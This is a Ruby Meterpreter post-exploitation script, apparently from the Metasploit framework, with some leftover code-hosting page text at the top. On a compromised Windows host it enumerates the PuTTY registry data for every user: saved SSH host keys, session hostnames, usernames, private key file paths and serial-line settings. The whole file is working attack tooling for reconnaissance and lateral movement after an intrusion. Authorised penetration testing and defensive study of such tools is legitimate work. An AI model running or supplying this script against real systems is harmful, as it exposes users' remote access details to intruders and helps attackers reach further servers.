98 lines
3.1 KiB
Ruby
98 lines
3.1 KiB
Ruby
#
|
|
# Meterpreter script for enumerating putty connections
|
|
# Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com
|
|
#
|
|
@client = client
|
|
#Options and Option Parsing
|
|
opts = Rex::Parser::Arguments.new(
|
|
"-h" => [ false, "Help menu." ]
|
|
)
|
|
|
|
opts.parse(args) { |opt, idx, val|
|
|
case opt
|
|
when "-h"
|
|
print_line "Meterpreter Script for enumerating Putty Configuration."
|
|
print_line(opts.usage)
|
|
raise Rex::Script::Completed
|
|
end
|
|
}
|
|
|
|
def hkcu_base
|
|
key_base = []
|
|
|
|
if not is_system?
|
|
key_base << "HKCU"
|
|
else
|
|
key = "HKU\\"
|
|
root_key, base_key = @client.sys.registry.splitkey(key)
|
|
open_key = @client.sys.registry.open_key(root_key, base_key)
|
|
keys = open_key.enum_key
|
|
keys.each do |k|
|
|
if k =~ /S-1-5-21-\d*-\d*-\d*-\d*$/
|
|
key_base << "HKU\\#{k}"
|
|
end
|
|
end
|
|
end
|
|
return key_base
|
|
end
|
|
def check_putty(reg_key_base)
|
|
installed = false
|
|
app_list = []
|
|
app_list = registry_enumkeys("#{reg_key_base}\\Software")
|
|
os = @client.sys.config.sysinfo['OS']
|
|
if os =~ /(Windows 7|2008|Vista)/
|
|
username_profile = registry_getvaldata("#{reg_key_base}\\Volatile Environment","USERNAME")
|
|
elsif os =~ /(2000|NET|XP)/
|
|
appdata_var = registry_getvaldata("#{reg_key_base}\\Volatile Environment","APPDATA")
|
|
username_profile = appdata_var.scan(/^\w\:\D*\\(\D*)\\\D*$/)
|
|
end
|
|
if app_list.index("SimonTatham")
|
|
print_status("Putty Installed for #{username_profile}")
|
|
installed = true
|
|
end
|
|
return installed
|
|
end
|
|
|
|
def enum_known_ssh_hosts(reg_key_base)
|
|
print_status("Saved SSH Server Public Keys:")
|
|
registry_enumvals("#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\SshHostKeys").each do |host|
|
|
print_status("\t#{host}")
|
|
end
|
|
end
|
|
|
|
def enum_saved_sessions(reg_key_base)
|
|
saved_sessions = []
|
|
sessions_protocol = ""
|
|
sessions_key = "#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\Sessions"
|
|
saved_sessions = registry_enumkeys(sessions_key)
|
|
if saved_sessions.length > 0
|
|
saved_sessions.each do |saved_session|
|
|
print_status("Session #{saved_session}:")
|
|
sessions_protocol = registry_getvaldata(sessions_key+"\\"+saved_session,"Protocol")
|
|
if sessions_protocol =~ /ssh/
|
|
print_status("\tProtocol: SSH")
|
|
print_status("\tHostname: #{registry_getvaldata(sessions_key+"\\"+saved_session,"HostName")}")
|
|
print_status("\tUsername: #{registry_getvaldata(sessions_key+"\\"+saved_session,"UserName")}")
|
|
print_status("\tPublic Key: #{registry_getvaldata(sessions_key+"\\"+saved_session,"PublicKeyFile")}")
|
|
elsif sessions_protocol =~ /serial/
|
|
print_status("\tProtocol: Serial")
|
|
print_status("\tSerial Port: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialLine")}")
|
|
print_status("\tSpeed: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialSpeed")}")
|
|
print_status("\tData Bits: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialDataBits")}")
|
|
print_status("\tFlow Control: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialFlowControl")}")
|
|
end
|
|
end
|
|
end
|
|
end
|
|
if client.platform =~ /win32|win64/
|
|
hkcu_base.each do |hkb|
|
|
if check_putty(hkb)
|
|
enum_known_ssh_hosts(hkb)
|
|
enum_saved_sessions(hkb)
|
|
end
|
|
end
|
|
else
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
raise Rex::Script::Completed
|
|
end
|